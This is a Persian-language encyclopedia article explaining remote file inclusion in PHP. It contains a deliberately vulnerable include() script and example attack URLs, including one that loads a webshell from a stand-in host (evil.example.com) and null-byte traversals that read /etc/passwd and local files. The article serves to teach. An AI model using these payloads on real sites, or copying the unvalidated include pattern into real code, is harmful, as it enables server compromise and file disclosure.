گنجاندن فایل از راه دور

از ویکی‌پدیا، دانشنامهٔ آزاد

گنجاندن فایل یک نوع از آسیب پذیری است که اغلب در وب سایت یافت می‌شود. این کار اجازه می‌دهد تا یک مهاجم به یک فایل، از راه دور معمولاً از طریق یک اسکریپت در وب سرور دسترسی پیدا کند. این آسیب پذیری به علت ورود کاربر بدون اعتبار مناسب رخ می‌دهد. این می‌تواند به چیزی به عنوان خروجی از فایل منجر شود، اما با توجه به شدت، می‌تواند منجر به این‌ها بشود:

  • اجرای کد بر روی سرور وب
  • اجرای کد در سمت سرویس گیرنده از قبیل JavaScript که می‌تواند منجر به حملات کراس سایت اسکریپت (XSS) شود.
  • انکار خدمات (داس)

زبان‌های برنامه نویسی[ویرایش]

PHP[ویرایش]

در پی اچ پی علت اصلی این است که به دلیل استفاده از متغیرهای خارجی اعتبار دهی نشده مانند $ _GET، $ _POST، $ _COOKIE با تابع فایل سیستم می‌باشد.

به عنوان مثال[ویرایش]

این اسکریپت پی اچ پی (که شامل یک فایل مشخص شده توسط درخواست) را در نظر بگیرید:

<?php
   $color = 'blue';
   if (isset($_GET['COLOR']))
      $color = $_GET['COLOR'];
   include($color. '.php');
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>


توسعه دهنده تنها می خواست blue.php و red.php به عنوان گزینه‌های مورد استفاده قرار گیرد. اما هر کسی به راحتی می‌تواند با وارد کردن مقادیر دلخواه رنگ را وارد کند، ممکن است برای تزریق کد از فایل‌های:
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?%7B%7Bسخ}}[پیوند مرده] /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
/vulnerable.php?COLOR=C:\\notes.txt%00
/vulnerable.php?COLOR=/etc/passwd%00

منابع[ویرایش]